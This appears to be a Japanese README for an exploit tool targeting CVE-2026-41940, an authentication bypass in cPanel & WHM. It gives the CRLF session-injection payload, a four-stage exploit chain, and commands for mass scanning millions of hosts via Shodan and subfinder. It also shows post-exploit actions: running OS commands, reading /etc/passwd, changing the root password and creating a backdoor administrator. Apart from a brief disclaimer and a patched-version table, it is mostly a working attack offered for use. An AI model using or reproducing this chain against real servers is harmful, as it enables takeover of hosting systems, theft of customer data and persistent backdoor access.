
cPanelSniper STABLE - CVE-2026-41940、1000万以上のターゲット向けに最適化
CVE-2026-41940 — セッションファイルCRLFインジェクションによるcPanel & WHM認証バイパス
4段階エクスプロイトチェーン · 対話型WHMシェル · 1000万以上のターゲットでTRUE STABLE · メモリ使用量ゼロ · stdlibのみ
cPanelSniper は、cPanel & WHM に影響を与える重大な認証バイパス脆弱性である CVE-2026-41940 に特化したエクスプロイトフレームワークです。この脆弱性により、認証されていないリモート攻撃者が、有効な認証情報なしで Authorization HTTPヘッダーを介してセッションファイルにCRLFシーケンスを注入し、rootレベルのWHMアクセスを獲得できます。
許可されたペネトレーションテストおよびバグバウンティプログラム専用です。
このバージョンは、メモリ使用量ゼロで10,000,000以上のターゲットをスキャンするように最適化されています。
--resume で中断した場所から続行subfinder、httpx、shodan とシームレスに連携根本原因は Session.pm にあります。saveSession() 関数は、セッションファイルをディスクに書き込んだ 後 に filter_sessiondata() を呼び出します。つまり、Authorization: Basic ヘッダー値に埋め込まれたCRLF文字がそのままセッションファイルに書き込まれ、サニタイズ前に攻撃者が制御するフィールドが注入されます。
通常のフロー:
POST /login/ → filter_sessiondata() → セッション書き込み → 認証チェック
脆弱なフロー:
POST /login/ → セッション書き込み (CRLFペイロード注入) → filter_sessiondata() → 認証チェックが汚染されたファイルを読み取る
Authorization: Basic の値は次のようにデコードされます:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
これらのフィールドはディスク上のセッションファイルに直接書き込まれます。読み戻されると、cPanel はこのセッションを完全に認証されたrootセッションとして扱います。
┌─────────────────────────────────────────────────────────────┐
│ ステージ 0 — 正規ホスト名の検出 │
│ GET /openid_connect/cpanelid → 307 → 実際のホスト名 │
├─────────────────────────────────────────────────────────────┤
│ ステージ 1 — 事前認証セッションの生成 │
│ POST /login/?login_only=1 (誤った認証情報) │
│ ← 401 + whostmgrsession クッキー │
├─────────────────────────────────────────────────────────────┤
│ ステージ 2 — CRLFインジェクション │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd がCRLFフィールドをセッションファイルに書き込む │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ ステージ 3 — 伝播 (do_token_denied ガジェット) │
│ GET /scripts2/listaccts │
│ raw→cache フラッシュをトリガー — 注入フィールドが有効化 │
│ ← 401 Token denied (想定内) │
├─────────────────────────────────────────────────────────────┤
│ ステージ 4 — WHM rootアクセスの検証 │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
pipインストールは不要です。純粋なPython 3.8+ stdlibのみです。
# 単一ターゲット — スキャンのみ
python3 cPanelSniper.py -u https://target.com:2087
# 単一ターゲット — バイパス後の対話型シェル
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# 大規模ターゲットリスト — 1000万以上のターゲット (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# 中断されたスキャンの再開
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# サーバー上のすべてのcPanelアカウントを一覧表示
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OSコマンドを実行
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# サーバー情報を取得 (ホスト名、負荷、ディスク、MySQLホスト)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanelバージョンを取得
python3 cPanelSniper.py -u https://target.com:2087 --action version
# rootパスワードを変更
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# 対話型WHMシェル
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → ファイルに保存 → 1000万以上のターゲットをスキャン
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# スコープリストから - 数百万のドメインを処理
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Shodan結果 - 大規模スキャン
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# stdinパイプ - 小規模リストのみ (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py
# 複数ソースの組み合わせ → 大規模スキャン
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume
1000万以上のターゲット をスキャンする場合:
まずファイルに保存する - 大規模リストでは直接パイプしない
# 良い例 - 1000万以上のターゲットで動作
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# 悪い例 - 大規模リストではクラッシュする
httpx ... | python3 cPanelSniper.py
適切なスレッド数を使用
長時間スキャンでは自動再開を有効にする
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
中断された場合は、--resume を付けて再度実行するだけです
進捗状況を監視
バイパス成功後、--action shell フラグで対話型プロンプトに入ります:
════════════════════════════════════════════════════════════
WHM Shell — target.com
Version: CVE-2026-41940 | Auth: CRLF bypass
Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel Accounts] target.com:2087 (47 users)
user01 domain: example.com email: [email protected]
user02 domain: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Server Info] https://target.com:2087
hostname: srv01.target.com
load: 0.72 / 0.66 / 0.69
version: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[BACKDOOR ADMIN CREATED]
Target : https://target.com:2087
Username : mitsec
Password : P@ss2026!
Profile : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--resume]
[-o OUTPUT] [--no-color] [--save-interval N]
Target:
-u, --url URL 単一ターゲットURL (例: https://host:2087)
-l, --list LIST URLを含むファイル (1行に1つ)
--hostname HOSTNAME 正規のHostヘッダーを上書き (自動検出)
Scan:
-t, --threads N 同時スレッド数 (デフォルト: 20)
--timeout N リクエストタイムアウト秒数 (デフォルト: 15)
--resume 前回のスキャンから再開 (処理済みターゲットをスキップ)
Output:
-o, --output FILE 結果をJSONファイルに保存
--no-color ANSIカラーを無効化
--save-interval N 結果をN秒ごとに保存 (デフォルト: 60)
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
4-stage: preauth → CRLF inject → propagate → verify → post-exploit
In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas)
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : list
14:46:22 [SCAN] Starting 4-stage exploit chain... https://target.com:2087
14:46:23 [INFO] Canonical hostname discovered: srv01.target.com
14:46:23 [STEP] Stage 1/4 — Minting preauth session...
14:46:23 [ OK] Stage1: preauth session = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Stage 2/4 — CRLF injection via Authorization header...
14:46:24 [ OK] Stage2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
14:46:25 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
14:46:25 [STEP] Stage 4/4 — Verifying WHM root access...
14:46:26 [PWND] CVE-2026-41940 CONFIRMED — WHM root access!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Version : 11.130.0.6
14:46:26 [PWND] API URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Running post-exploit action: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel Accounts] target.com:2087 (47 accounts)
client01 domain: client01.com email: [email protected]
client02 domain: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Scan Complete
Time: 5.8s · Targets: 1
⚡ 1 VULNERABLE TARGET(S)
Target : https://target.com:2087
Version : 11.130.0.6
Token : /cpsess8493537756
API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
注入された Authorization: Basic 値 (base64デコード済み) には、cPanelセッションファイル内で改行となるCRLFシーケンスが含まれています:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
cPanelのセッションリーダーはこれらを正当なセッションフィールドとして解析し、完全なroot WHMアクセスを許可します。
重要でありながら見落とされがちなステップ: CRLFインジェクション (ステージ2) の後、汚染されたセッションデータは 生のセッションファイル にのみ存在します。/scripts2/listaccts へのリクエストは内部の do_token_denied ハンドラーをトリガーし、生のセッションデータをセッション キャッシュ にフラッシュします。このフラッシュがなければ、ステージ4は403を返します。
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob hash (stripped)
+-- session name (used for injection)
セッション名 (%2C の前) が抽出され、後続のリクエストのクッキー値として使用されます。
このツールは 許可されたセキュリティテスト および バグバウンティプログラム専用 です。コンピュータシステムへの不正アクセスは違法です。作者は一切の責任を負わず、このツールによって引き起こされた誤用や損害について責任を負いません。テスト前に必ず適切な書面による許可を取得してください。
Mitsec — @ynsmroztas
Made with ❤️ by @ynsmroztas
| 問題 | オリジナルバージョン | 修正バージョン |
|---|
| メモリ使用量 | すべてのターゲットをRAMに読み込む | ターゲットを1行ずつストリーミング (メモリ0) |
| 1000万ターゲット | OOM → 強制終了 ❌ | 正常に完了 ✅ |
| 再開 | 非対応 | --resume フラグ |
| 進捗状況 | ETAなし | リアルタイムETA + レート + 統計 |
| 結果 | 最後にのみ保存 | 60秒ごとに保存 (設定可能) |
| ブランチ | 脆弱なバージョン | 修正済みバージョン |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| コマンド | 説明 |
|---|
id / whoami | UIDとホスト名を表示 |
hostname | サーバーのホスト名を取得 |
version | cPanelバージョン情報 |
info | 負荷、ディスク、MySQLホスト、バージョン |
accounts | すべてのcPanelユーザーアカウントを一覧表示 |
cat <path> | ファイルの内容を読み取る |
ls [path] | ディレクトリを一覧表示 |
exec <cmd> | OSコマンドを実行 |
addadmin <user> <pass> | バックドアWHM管理者を作成 |
passwd <pass> | rootパスワードを変更 |
api <endpoint> [k=v ...] | 生のWHM JSON API呼び出し |
help | すべてのコマンドを表示 |
exit | シェルを終了 |